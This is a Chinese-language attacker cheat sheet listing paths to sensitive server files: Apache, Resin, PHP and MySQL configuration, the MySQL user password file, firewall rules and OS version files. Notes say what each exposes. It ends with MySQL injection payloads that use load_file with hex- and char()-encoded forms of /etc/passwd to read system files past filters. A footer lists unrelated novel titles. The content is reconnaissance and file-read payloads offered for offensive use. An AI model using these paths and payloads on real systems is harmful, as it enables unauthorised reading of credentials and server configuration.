c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

linux

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

热门相关:我真不是开玩笑   春秋我为王   终极高手   一世倾心:误惹腹黑师弟   你是我的难得情深